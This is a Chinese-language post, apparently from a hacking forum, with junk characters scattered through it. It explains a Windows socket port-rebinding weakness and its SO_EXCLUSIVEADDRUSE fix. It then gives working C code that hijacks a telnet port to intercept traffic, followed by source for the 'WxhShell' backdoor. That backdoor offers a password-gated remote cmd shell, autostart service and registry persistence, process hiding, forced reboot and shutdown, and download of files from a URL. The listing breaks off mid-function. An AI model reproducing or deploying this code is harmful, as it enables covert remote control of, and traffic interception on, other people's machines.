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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c|k(_#\B s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S
{+Z.P 7GErh, saddr.sin_family = AF_INET; `6# s+JA[ VH+3o?nrT saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1TGE>HG w7q6v> bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E1w8d4P,G c7[Ba\Cr4h 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zR/mz) 6_ xBf->o S? 这意味着什么?意味着可以进行如下的攻击: U1rr=h
g Qs#;sy
W@~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n`jG[{3t& 6T_Ya) 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cc1M9kVi 0$=U\[og 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]HXHz(?;F Oc.8d< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 \;Q!}_ K 6rCUq
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *]Cyc< Rz&}e@stl 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,Qo:]Mj :v$)Z~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,iZKw8]f d{ B0a1P #include bcxR7<T,"9 #include ,I]]52+?4 #include tqp i{e #include 0G Q8}r DWORD WINAPI ClientThread(LPVOID lpParam); 6g#E/{kQw int main() zF? 6" { ~RBa&Y=Mb WORD wVersionRequested; ]ab q$Y' DWORD ret; <*/Z>Z_c2 WSADATA wsaData; b=Ektq BOOL val; @LS%uqs SOCKADDR_IN saddr; J*6B~)Sp@ SOCKADDR_IN scaddr; XgeUS;qtta int err; 7xWJw SOCKET s; )"2eN3H/ SOCKET sc; y4=T0[
V int caddsize; 7;r3Bxa
Q HANDLE mt; &
\"cV0 DWORD tid; WYcZD_ wVersionRequested = MAKEWORD( 2, 2 ); a^[s[j#^, err = WSAStartup( wVersionRequested, &wsaData ); h\~!!F if ( err != 0 ) { ^4Se=Hr
z2 printf("error!WSAStartup failed!\n"); )!G 10 return -1; z?UEn#E2 } nhZ/^`Y< saddr.sin_family = AF_INET; \.P#QVuQ :w4N*lV- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TXs&*\ WqCj;Tj| saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hew"p( ` saddr.sin_port = htons(23); adgd7JjI* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s%5XBI { G_ ~qk/7mF printf("error!socket failed!\n"); E4.A$/s8[ return -1; j|p=JrCJ } f%[xl6VE; val = TRUE; x[+bLlb //SO_REUSEADDR选项就是可以实现端口重绑定的 Ruwp"T}mF if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,&* BhUC { YOvhMi printf("error!setsockopt failed!\n"); {aK3'-7 return -1; )}_}D+2 } l>(*bb1}b //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A\E ))b9+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #~w~k+E4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ol
{N^fiK k!6m'}v if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]j$(so" { mGF)Ot R ret=GetLastError(); d+0= a] printf("error!bind failed!\n"); W58%Zz4a return -1; A
;|P\V } I58$N+# listen(s,2); IfI:|w}:"r while(1) /pLf?m9 { oBo |eRIt| caddsize = sizeof(scaddr); x7jFYC //接受连接请求 vuJEPn% sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); AOV{@b( if(sc!=INVALID_SOCKET) T+%P+ { #)S&Z><< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7lwFxP5QT if(mt==NULL) aQ&K a { EEx:Xk%5hX printf("Thread Creat Failed!\n"); ztp2j%' break; @s,kx.S } 3+iryW(\ } K(Tej W# CloseHandle(mt); 0]nveC$ } ? 5OK4cR closesocket(s); 3m$Qd#| WSACleanup(); VT#`l0I} return 0; taO(\FOm } iYlkc DWORD WINAPI ClientThread(LPVOID lpParam) 6%wlz%Fp { 5EECr
\* SOCKET ss = (SOCKET)lpParam; P{StF`>Y SOCKET sc; w:R#F(
'B unsigned char buf[4096]; N!-P2) @ SOCKADDR_IN saddr; :6o|6MC! long num;
7$IR^ DWORD val; 8 ~Pdr]5 DWORD ret; "\5 T
6 //如果是隐藏端口应用的话,可以在此处加一些判断 S&J5QZjC //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 HoeW6U V saddr.sin_family = AF_INET; T;S6<J saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]kO|kIs saddr.sin_port = htons(23); VAqZ`y if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .}(X19R { L{&Yh|} printf("error!socket failed!\n"); >>8{N)c5E return -1; ?<Mx* l } nm%7 e!{m val = 100; Re*~C: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4 DV,f2:R4 { K7i@7 ret = GetLastError(); 2dbn~j0 return -1; J
L1]auO* } Gj[5ew?@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |nqN95'u+] { 4.~ <|T8 ret = GetLastError(); t=jG $A return -1; LE?sAN } [b~+VeP+p4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8cURYg6v { ]A1'+!1$ printf("error!socket connect failed!\n"); u4 ~.[3E* closesocket(sc); kD)]\ closesocket(ss); )Z\Zw~L return -1; /2tPd } %D%
Ok7s}) while(1) +NeoGnj { $)6M@S //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Wo,93] //如果是嗅探内容的话,可以再此处进行内容分析和记录 0 ;4 YU%u //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nu2m5RYx num = recv(ss,buf,4096,0); >q ,Z*s>? if(num>0) "x
3C3Zu.; send(sc,buf,num,0); *,=8x\Shp else if(num==0) 9j5-/
break; 3[ xHY@c num = recv(sc,buf,4096,0); /R>YDout} if(num>0) BE54L+$p send(ss,buf,num,0); ' hdLQ\J else if(num==0) Ua~8DdW break; 7d+0'3% } /1Ss |. closesocket(ss); v0T?c53? closesocket(sc); xokA_3,1F return 0 ; t{`krs`` } / neY2D6 6
tB\X^ ~Qf\DTM& ========================================================== k$kxw_N5d Q~KzcB< 下边附上一个代码,,WXhSHELL }
na@gn S5YEz
XG ========================================================== iI &z5Q2 XdnpL$0 #include "stdafx.h" E*s _Y Zt9ld=T #include <stdio.h> 8m[o*E.4F #include <string.h> ]]y,FQ,r #include <windows.h> Zvra > % #include <winsock2.h> u EERNo& #include <winsvc.h> bHXoZix #include <urlmon.h> w U1[/ XK;Vu#E*^ #pragma comment (lib, "Ws2_32.lib") O:imX>|u #pragma comment (lib, "urlmon.lib") as!P`*@ GXRW"4eF5 #define MAX_USER 100 // 最大客户端连接数 sN) xNz #define BUF_SOCK 200 // sock buffer en6;I[\ #define KEY_BUFF 255 // 输入 buffer :Smyk.B2! Q9;VSF) #define REBOOT 0 // 重启 *Y!RU{w+Z #define SHUTDOWN 1 // 关机 b~<:k\EE f>&*%[fw #define DEF_PORT 5000 // 监听端口 *<}R=X. 46B'Ec #define REG_LEN 16 // 注册表键长度 Q:'r
p #define SVC_LEN 80 // NT服务名长度 BH}M]<5 tGSXTF}G // 从dll定义API 9S l5jn typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xmfZ5nVL typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0;]VTz?P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZoCk]hk typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +6^hp-G7 6 B7F // wxhshell配置信息 mXyg\5 struct WSCFG { q%,y66pFr int ws_port; // 监听端口 !Y/S 2J char ws_passstr[REG_LEN]; // 口令 APCE}%1U int ws_autoins; // 安装标记, 1=yes 0=no V6k Dyl( char ws_regname[REG_LEN]; // 注册表键名 y'z9Ya char ws_svcname[REG_LEN]; // 服务名 kxmsrQ>av char ws_svcdisp[SVC_LEN]; // 服务显示名 tJGK9!MH{( char ws_svcdesc[SVC_LEN]; // 服务描述信息 {s6hi#R> char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }%^ 3 int ws_downexe; // 下载执行标记, 1=yes 0=no c6iFha;db char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ^g.HJQ'vF char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }FX:sa?5 fUOQ(BGp }; HYZp=*eb S>Gb
Jt(] // default Wxhshell configuration d@tNlFfS struct WSCFG wscfg={DEF_PORT, o|_9%o52' "xuhuanlingzhe", [<>%I#7ulG 1, IGlM}
?x "Wxhshell", }Nma %6PfV "Wxhshell", EoS6t "WxhShell Service", g!)*CP#; "Wrsky Windows CmdShell Service", ]O0u.=1k "Please Input Your Password: ", E
5mYFVK 1, (
efxw " http://www.wrsky.com/wxhshell.exe", 6y"T;.FAo "Wxhshell.exe" [+!+Yn6: }; U8</aQLGF
!FvL2L // 消息定义模块 G+\&8fi0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i?|u$[^=+ char *msg_ws_prompt="\n\r? for help\n\r#>"; m@)Ya*=< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; =GiN~$d char *msg_ws_ext="\n\rExit."; phwBil-vUU char *msg_ws_end="\n\rQuit."; Fc|N6I'o char *msg_ws_boot="\n\rReboot..."; :4LWm<P char *msg_ws_poff="\n\rShutdown..."; l7Wdbx5x0 char *msg_ws_down="\n\rSave to "; M<SV H_ e+?;Dc-SJ\ char *msg_ws_err="\n\rErr!"; tJm1Q#|| char *msg_ws_ok="\n\rOK!"; ):n'B` f}z Dv4 H^ char ExeFile[MAX_PATH]; -a'D~EGB^ int nUser = 0; "Id1H HANDLE handles[MAX_USER]; NS "1zR+ int OsIsNt; <S12=<c?' DU-dIqi SERVICE_STATUS serviceStatus; o@L
'|#e SERVICE_STATUS_HANDLE hServiceStatusHandle; (?i4P5s[! }}oIZP\qM // 函数声明 "
BU4\QF- int Install(void); *@WBaN+ int Uninstall(void); =<AG}by![ int DownloadFile(char *sURL, SOCKET wsh); j!@,r^( int Boot(int flag); `H9!Z$7G void HideProc(void); OU*skc> int GetOsVer(void); 0%yPuY> int Wxhshell(SOCKET wsl); w BoP&l void TalkWithClient(void *cs); ~b%dBn]n> int CmdShell(SOCKET sock); Oe;1f#`5 int StartFromService(void); 4.>y[_vu int StartWxhshell(LPSTR lpCmdLine); iT+t we
kb&? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Fz| r[
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6p.y/LMO ^,J>=>,1\ // 数据结构和表定义 29&F_ SERVICE_TABLE_ENTRY DispatchTable[] = Bp4#"y2 { l-SVI9|<0 {wscfg.ws_svcname, NTServiceMain}, 4y$okn\}i {NULL, NULL} =6=l.qyYK }; hW\'EJ iEbW[sX[4 // 自我安装 7Q~$&G int Install(void) *9`k$' { *=Ma5J. char svExeFile[MAX_PATH]; y`cL3
xr4R HKEY key; VmZDU(M strcpy(svExeFile,ExeFile); Gq7\b({= mt[ #=Yba // 如果是win9x系统,修改注册表设为自启动 gOp81) if(!OsIsNt) { a;&0u> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TeyFq0j@' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l vBcEg RegCloseKey(key); gRZ!=z[& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dj3,SJ*x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (aB:P03 RegCloseKey(key); l(}l([rdQ return 0; OJ.oHf=K! } _P%PjFQ)
} \7e4t } KYq<n& s else { 0;%\L :,O ; NO#/ // 如果是NT以上系统,安装为系统服务 H)rJ>L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :]LW,Eql if (schSCManager!=0) HaF&ooI5+ { ;)ERxMun SC_HANDLE schService = CreateService sGa " ( Vq^b_^ schSCManager, yP34h*0B wscfg.ws_svcname, v7@*dg wscfg.ws_svcdisp, ciW;sK8 SERVICE_ALL_ACCESS, d-gcXaA-8 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SUL\|z`5 SERVICE_AUTO_START, oq(W| SERVICE_ERROR_NORMAL, V h5\'Sn svExeFile, [lzH%0
V NULL, AR
g]GV/L NULL, |Vp
? NULL, \JP9lJ3< NULL, ]UZP dw1D NULL bKh}Y` ); ft!D2M if (schService!=0) x@|10GC#: { _J,*0~O$ CloseServiceHandle(schService); Jt)J1CAYo CloseServiceHandle(schSCManager); F'ez{B\AX strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gUiZv8C strcat(svExeFile,wscfg.ws_svcname); DP!8c if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J@rBrKC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ki /j\ RegCloseKey(key); JQW7y!Z return 0; D"{%[;J } zJOyr"B'8 } 9|K:\!7 CloseServiceHandle(schSCManager); 0Cyus } VI.Cmw~S } "DRiJ.|APs B.);Ju return 1; g$z6*bL } +Edq4QYwR w~n+hhMF // 自我卸载 p#>,{ int Uninstall(void) V! .I> { H<qz
rO HKEY key; tNAmA >B.KI}dE if(!OsIsNt) { lEw!H^O4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +77j2W_0 RegDeleteValue(key,wscfg.ws_regname); &7eN
EA RegCloseKey(key); GMpg+rK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "a<:fEsSE RegDeleteValue(key,wscfg.ws_regname); ^Jc|d,u;s RegCloseKey(key); (
;KTV*1 return 0; mlz|KI~\F; } 8w~X4A, } =
jTC+0u } .la_u8A] else { w(Q{;RNM; }RQHsS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SOS|3q_` if (schSCManager!=0) r4]hcoU { /5?tXH" SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `b_n\pf] if (schService!=0) R-Y 7I { V7k!;0u
v if(DeleteService(schService)!=0) { HUel CloseServiceHandle(schService); Q@Cy\l CloseServiceHandle(schSCManager); !z5Ozm+} return 0; NH'QMjL) } {$C"yksr CloseServiceHandle(schService); l4^MYwFR{O } :6Gf@Z&+ CloseServiceHandle(schSCManager); z%$M
IC } S AKIFNE } sDkO!P TR:4$92:H return 1; WKq{g+a } ^KQZ;[B :=K+~?
// 从指定url下载文件 gbu)bqu2x int DownloadFile(char *sURL, SOCKET wsh) mqiCn]8G { =ibKdPtTh^ HRESULT hr; L;
<Pod char seps[]= "/"; IkQ,#Bsb[ char *token; bFJ>+ {# char *file; 9Wdx"g52_D char myURL[MAX_PATH]; r$,Xv+} char myFILE[MAX_PATH]; zOis}$GR Z
jXn,W]~ strcpy(myURL,sURL); 35fj-J$8 token=strtok(myURL,seps); 2>xEE while(token!=NULL) H$6;{IUz~ { M4t:)!dji? file=token; pwNF\ ={ token=strtok(NULL,seps); Z5"5Ge-M } ,fhK RZ?abE8 GetCurrentDirectory(MAX_PATH,myFILE); =V:Al strcat(myFILE, "\\"); N\fj[?f[ strcat(myFILE, file); tl=e! send(wsh,myFILE,strlen(myFILE),0); es\Fn#?O send(wsh,"...",3,0); @$;I% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0fN;
L;v if(hr==S_OK) 12}!oS~_ return 0; j!IkU}*c else &HqBlRo return 1; f/sLQdK, -E.fo._L5 } Rvd'uIJ (:RYd6i // 系统电源模块 3O|2Z~>3 int Boot(int flag) Bsj^R\ { QGnUPiD^ HANDLE hToken; VP1z"j: TOKEN_PRIVILEGES tkp; Dp?lgw ,S&p\(r. if(OsIsNt) { pzT`.#N:M OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d}@n,3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @CKMJ^#| tkp.PrivilegeCount = 1; q( %)^C tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $,nidK!" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R3*{"!O if(flag==REBOOT) { K!v\r"N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jN/snU2\0 return 0; Xj<xen( } 4@M`BH` else { 9dva]$^:*1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }eSrJgF4M return 0; &3\3wcZ,q } ~eXI}KhBw6 } $?DEO[p. else { *1*i5c if(flag==REBOOT) { sl)]yCD|5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1 ;Uc-< return 0; (XV+aQ \A } qU ,{jD$ else { p & i+i if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MSe>1L2= return 0; AH^ud*3F } IB^vEY!`6_ } jM>;l6l m:cWnG return 1; k8,s<m } cEK#5 P9M%B2DQ6f // win9x进程隐藏模块
*,,:;F^ void HideProc(void) hcR^? { 5m?9O7Pg )qRE['M HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !z]{zM% if ( hKernel != NULL ) %]o/p_< { &jh17y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Sd\oL*lN ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5-:H FreeLibrary(hKernel); `~h8D9G } 8(* ze+8 Ba76~-gK$ return; 8o466m6/ } =h/61Bl3 ceae~ // 获取操作系统版本 n]3Z~HoZ int GetOsVer(void) :#=BwdC { m[hHaX OSVERSIONINFO winfo; I:YE6${k! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !4$-.L)# GetVersionEx(&winfo); ]!2[k A- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ESuP ZB return 1; '2SZ] else U}GO* + return 0; _!%@V= } A9z3SJ\vXl xiF}{25a // 客户端句柄模块 v3cLU7bi?2 int Wxhshell(SOCKET wsl) /Y[ b8f { 5oo6d4[ SOCKET wsh; [2ri=lf, struct sockaddr_in client; ;VbB]aUg DWORD myID; }*7Gq 3w+ +F@( while(nUser<MAX_USER) Gg%pU+'T { od*#) int nSize=sizeof(client); >P-'C^:V= wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )ZpMB if(wsh==INVALID_SOCKET) return 1; uC2qP)m,^ z\Z+>A handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2c3/iYCKP if(handles[nUser]==0) '
?EG+o8 closesocket(wsh); vhN6_XD else .GvZv> nUser++; {T3wOi } afjEN
y1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \<\147&)r x#t?` return 0; i"n1E@
} sfsK[c5bm 9-y<= ) // 关闭 socket Xet}
J@C void CloseIt(SOCKET wsh) T^Hq 5Oy { ?]>;Wr closesocket(wsh); R_#k^P^ nUser--; ,n$HTWa@0 ExitThread(0); 9<5ii } h#uk-7 Cm-dos // 客户端请求句柄 h2
>a_0" void TalkWithClient(void *cs) 1JZhcfG { zvT8r(<n} $Y%,?>AL< SOCKET wsh=(SOCKET)cs; 3H%bbFy char pwd[SVC_LEN]; S~GS:E# char cmd[KEY_BUFF]; ?Xqkf> char chr[1]; 'N/u<`) int i,j; cgR8+o t]xR`Rr;X while (nUser < MAX_USER) { UhSaqq 5w</Ga if(wscfg.ws_passstr) { 9dp1NjOtAc if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TZarI-A //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +
,rl\|J% //ZeroMemory(pwd,KEY_BUFF); 'fY29Xr^ i=0; H
WFnIUv while(i<SVC_LEN) { ;Ehv1{; m4G))||9Q // 设置超时 K^%ONultv fd_set FdRead; ![m6$G{y struct timeval TimeOut; ilQt`-O! FD_ZERO(&FdRead); //yz$d>JN FD_SET(wsh,&FdRead); COA>y? TimeOut.tv_sec=8; 8/-hODoT_ TimeOut.tv_usec=0; >&Vz/0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y7 e1%,$v if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _] us1 (_fovV= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y.::d9v pwd =chr[0]; `=2p6<#z if(chr[0]==0xd || chr[0]==0xa) { _:!7M^IU pwd=0; ;;Jx1Q break; Pe`jNiI } `Yyi;!+0 i++; |zOwC9-6 } aX.//T:':? tQ`|MO&o // 如果是非法用户,关闭 socket ,jeC7-tX if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <,Jx3yq } 24
RD 1}OM"V send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @Z
Dd(xB& send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i.e4<|{ I\|.WrMNi while(1) { cPX^4d~9 mH )i ZeroMemory(cmd,KEY_BUFF); L!~ap j-t" // 自动支持客户端 telnet标准 !'a
<Dw5 j=0; i\kDb= while(j<KEY_BUFF) { fiLlOr%r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bx|h)e9 cmd[j]=chr[0]; rf]x5%ij if(chr[0]==0xa || chr[0]==0xd) { rg I Z cmd[j]=0; |]b,% ?,U break; fRp(&%8E } X5=I{eY} j++; fD%20P`. } 2j$~lI MaZS|Zei[ // 下载文件 FDuIm,NI if(strstr(cmd,"http://")) { G'{&*]Z\: send(wsh,msg_ws_down,strlen(msg_ws_down),0); |?ZNGPt if(DownloadFile(cmd,wsh)) ?)7UqVyq send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'AZxR4W else J{$c| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vZXdc+2l } @6H 7 else { NdC5w-WY &5hs
W1` switch(cmd[0]) { ]2MX7 Y.%Vvg4z3 // 帮助
CaV)F3 case '?': { uS!V_] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T5wVJgN> break; *O7PH1G } M0%nGpVj> // 安装 X=Jt4 h9 case 'i': { D0h6j0r5 if(Install()) C{,Vk/D-0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); T75N0/teS else 4K,S5^`Gx send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m,ur{B8 : break; o 80x@ &A: } {HjJ9ZGQ // 卸载 JI/iq case 'r': { 6#HnA"I2n if(Uninstall()) N3wy][bo send(wsh,msg_ws_err,strlen(msg_ws_err),0); hz5t/E else Q<(aU{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SZvC4lOn# break; GZm=>!T } sY?sQ'E2] // 显示 wxhshell 所在路径 =]1g*~% case 'p': { Ho $+[K char svExeFile[MAX_PATH]; kH4m6p
strcpy(svExeFile,"\n\r"); fr&p0)85>B strcat(svExeFile,ExeFile); j_S3<wEJ send(wsh,svExeFile,strlen(svExeFile),0); *E-MJCv break; =FfR?6 ~ } W3n[qVZIC // 重启 (
geV(zT case 'b': { N]&hw&R{Q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ruy?#rk if(Boot(REBOOT)) Y\F4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); <eZrb6a' else { )M@^Z(W/a closesocket(wsh); {~#d_!( ExitThread(0); n%!50E6*: } 1yTw*vH F break; T#HF!GH] } .`oKd@I*" // 关机 j?VHR$ case 'd': { V(Oi!(H;v send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S(0JBGC if(Boot(SHUTDOWN)) S`vw<u4t send(wsh,msg_ws_err,strlen(msg_ws_err),0); He&A>bA)z else { V>ZDJW"G! closesocket(wsh); u@Bgyt7Y ExitThread(0); ](`:<>c } AG"iS<u break; pqe%tRH{ } L5CnPnF // 获取shell BL%3[JQ case 's': { kRH
D{6mol CmdShell(wsh); bnV)f< closesocket(wsh); TJuS)AZ
C ExitThread(0); /mwDVP<z / break; S5~(3I
)v } GqgJ ]m // 退出 D3y4e8+Z' case 'x': { MI~QXy, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eQIS`T CloseIt(wsh); b(> G break; 'Z nJdj } <ILi38%Y // 离开
jn oX%3d- case 'q': { #*3 vE& p send(wsh,msg_ws_end,strlen(msg_ws_end),0); p$<){,R closesocket(wsh); <)o xs]< WSACleanup(); 4}]In/yA exit(1); !k#N]
9D3 break; :)Da^V } Uh^j;s\y } WL3J>S_ } Y>K8^GS B0^:nYko // 提示信息 w<Iq:3
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y tTppmJF } U[:Js@uH_ } Kc+9n%sp 5"D\n B% return; Ef=4yH?\j } {6F]w_\ Zm#,Ike?# // shell模块句柄 <g, 21(bc int CmdShell(SOCKET sock) NSQ)lSW,; { vb`: STARTUPINFO si; /}s# ZeroMemory(&si,sizeof(si)); $[b1_Db si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ryTtGx%a si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l{V(Y$xp3 PROCESS_INFORMATION ProcessInfo; V_KHVul char cmdline[]="cmd"; X$ A ]7t CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K:Z|# i- return 0; YW"nPZNPy~ } nDNK}O~' 'f6!a5qC // 自身启动模式 O\ w-hk int StartFromService(void) bLUyZ3m! { <O{G& typedef struct 6lwWFR+k { VGOdJ|2]Wr DWORD ExitStatus; 8,:lw3x1 DWORD PebBaseAddress; %gTY7LIe1z DWORD AffinityMask; I!.-}]k DWORD BasePriority; UBx0Z0Y ULONG UniqueProcessId; zZS,<Z ULONG InheritedFromUniqueProcessId; d)0 hAdh } PROCESS_BASIC_INFORMATION; epP_~TU "p&4Sn3T2? PROCNTQSIP NtQueryInformationProcess; TH+TcYqO 2F:X:f static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z{qn|#} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Bc}e ??F Sbj{) HANDLE hProcess; FOqD PROCESS_BASIC_INFORMATION pbi; Qe=eer~jI lsVg'k/Z! HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q{7+N1
